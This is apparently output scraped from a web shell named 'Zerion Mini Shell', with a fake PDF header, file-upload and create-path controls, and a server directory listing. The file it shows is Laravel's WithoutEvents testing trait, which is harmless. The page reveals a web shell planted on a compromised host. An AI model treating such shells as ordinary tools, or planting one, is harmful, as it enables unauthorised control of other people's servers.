%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/calling_code/vendor/laravel/framework/src/Illuminate/Foundation/Testing/
Upload File :
Create Path :
Current File : //home/silvzytp/calling_code/vendor/laravel/framework/src/Illuminate/Foundation/Testing/WithoutEvents.php

<?php

namespace Illuminate\Foundation\Testing;

use Exception;

trait WithoutEvents
{
    /**
     * Prevent all event handles from being executed.
     *
     * @throws \Exception
     */
    public function disableEventsForAllTests()
    {
        if (method_exists($this, 'withoutEvents')) {
            $this->withoutEvents();
        } else {
            throw new Exception('Unable to disable events. ApplicationTrait not used.');
        }
    }
}

Zerion Mini Shell 1.0